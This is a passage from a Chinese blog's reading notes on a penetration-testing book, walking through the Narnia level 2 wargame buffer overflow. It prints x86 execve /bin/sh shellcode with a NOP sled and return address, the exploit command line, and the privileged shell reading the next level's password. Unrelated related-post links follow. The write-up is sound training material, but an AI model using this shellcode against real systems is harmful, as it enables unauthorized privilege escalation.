      +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
      x53\x89\xe1\xb0\x0b\xcd\x8 0" + "\x90" * 67 + "\x50\xd8\xff\xff"'"
    • 进程5823执行新的程序:/bin/dash
  • $ cat /etc/narnia_pass/narnia3
    • cat: /etc/narnia_pass/narnia3: Permission denied

现在可以运行shellcode,但是由于某种原因,不能够读取narnia3账户口令。可以尝试脱离GDB调试环境运行程序。

  • narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "\x90" * 50 +"\x31
    \xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x
    e1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`
  • $ cat /etc/narnia_pass/narnia3
    • [这儿是narnia3答案]

终于发挥作用了!我们现在获得高权限的shell,并可以读取narnia3的密码(见图1.11)。希望通过这个例子,您能初步了解缓冲区溢出是如何产生以及如何进行漏洞利用。记住,这是一个二进制漏洞利用的起始阶段。现在可以用一些时间尝试其他的例子。

图1.11 narnia2漏洞利用

心得总结

说实话那么多工具最好按照功能和操作去区分,这样算下来就是搭建和安装的工作量大。其他的跑两遍就好了。

《黑客秘笈——渗透测试实用指南》读书笔记(1)相关推荐

  1. 《Cloud Native Data Center Network》读书笔记-1

    <Cloud Native Data Center Network>读书笔记-1 2019年的一本书,云原生数据中心网络入门书籍,作者 Dinesh G. Dutt 是一家网络公司的首席科 ...

  2. 《Cloud Native Data Center Network》读书笔记-7

    第九章 数据中心边缘 9.1 问题 Clos与外部的连接 为什么需要进行外部连接? 连接到外部世界的带宽需求是什么? 数据中心网络将连接到什么上游设备? 穿越内外部世界的交通需要哪些服务? 9.2 连 ...

  3. 论文阅读——译文:PortLand:A Scalable Fault-Tolerant Layer 2 Data Center Network Fabric

    论文标题:PortLand:A Scalable Fault-Tolerant Layer 2 Data Center Network Fabric 会议:sigcom 09 Ref:Radhika ...

  4. Fat-tree:A Scalable, Commodity Data Center Network Architecture 解读

    Fat-tree:A Scalable, Commodity Data Center Network Architecture 解读 title: 一种可扩展的.商品化的数据中心网络体系结构 第一部分 ...

  5. 《Data Algorithm》读书笔记十一— 使用马尔科夫模型的智能邮件营销

    <Data Algorithm>读书笔记十一 - 使用马尔科夫模型的智能邮件营销 1. 智能邮件营销 是什么? 根据顾客的交易历史观测(其实就是推测) "下一个智能邮件营销日期& ...

  6. 《Advanced Data Structures》读书笔记

    1.基础数据结构 1.1.栈 1.2.队列 1.3 双端队列 1.4.动态分配节点 1.5.数组类的"阴影拷贝" 2.搜索树 3.平衡搜索树 4.区间集合 5.堆 6.并查集 7. ...

  7. 最新发布| Jira官宣中国区本地部署特殊政策,公布Data Center价格

    ​Atlassian官方发布Jira Server版停售消息至今已3个月,面对中国区用户的抗议,官方终于于2021年2月2日推出针对性政策,即将DC版准入门槛从500人下调至25人,并于2月5日召开发 ...

  8. 《Python神经网络编程(Make Your Own Neural Network)》读书笔记

    声明 这是作者在CSDN上的第二篇博客,关于阅读塔里克·拉希德的著作<Python神经网络编程(Make Your Own Neural Network)>之后的读书笔记.跟诸位大牛相比, ...

  9. Analyzing Neural Time Series Data 读书笔记6

    Analyzing Neural Time Series Data 第六章读书笔记 仅做学习记录 6 Practicalities of EEG Measurement and Experiment ...

  10. Analyzing Neural Time Series Data 读书笔记3

    Analyzing Neural Time Series Data 第三章读书笔记 仅做学习记录 3 Interpreting and Asking Questions about Time-Freq ...

最新文章

  1. Serverless 实战——使用 Rendertron 搭建 Headless Chrome 渲染解决方案
  2. ubuntu更改默认python版本_更改Ubuntu默认python版本的方法
  3. 进入保护模式(三)——《x86汇编语言:从实模式到保护模式》读书笔记17
  4. 区块链之智能合约入门
  5. android 安全学习从何入手?
  6. Syntaxhighligher 使用中的一些问题
  7. gradle项目启动报错_如何用IDEA创建SpringBoot Gradle多项目工程?
  8. 24. yii2 表单赋值 model-load(), model-attributes 方法
  9. 留言板asp mysql,asp留言板(asp留言板源代码)
  10. 内外网怎么同时使用?保姆级教程
  11. java计算机毕业设计大数据在线考试系统在线阅卷系统及大数据统计分析源码+mysql数据库+系统+lw文档+部署
  12. 如何在ppt中打开html,如何在ppt中直接打开网页
  13. 亚马逊领导力准则14条
  14. Unity Shader - Standard Shader 标准着色器
  15. jQWidgets 14.0 Crack
  16. switch里面,一开头就放default是什么意思
  17. 支付清算系统简介(1)
  18. perl脚本提取后仿中的notimingcheck路径
  19. 新浪张俊林:大语言模型的涌现能力——现象与解释
  20. DS_Store是什么?

热门文章

  1. 解决mangos60级后生命值为什么不变
  2. 3.2.2 nodeMCU固件烧录
  3. mov格式的视频转换mp4?视频格式转换这样做
  4. android cursor循环,Android:Cursor.getColumnIndex()在行循环中是不变的吗?
  5. Dart | 使用 Flutter 制作一个像 SIRI 那样的语音机器人
  6. BootStrap表格鼠标悬停颜色修改
  7. 一个简单T9输入法的实现
  8. 《java程序设计基础》 抽象类
  9. 21世纪最牛逼思想家的心路历程小结———哲学、宿命论
  10. cad角度命令怎么输入_CAD中用好这个命令,任意等分角度不再是难事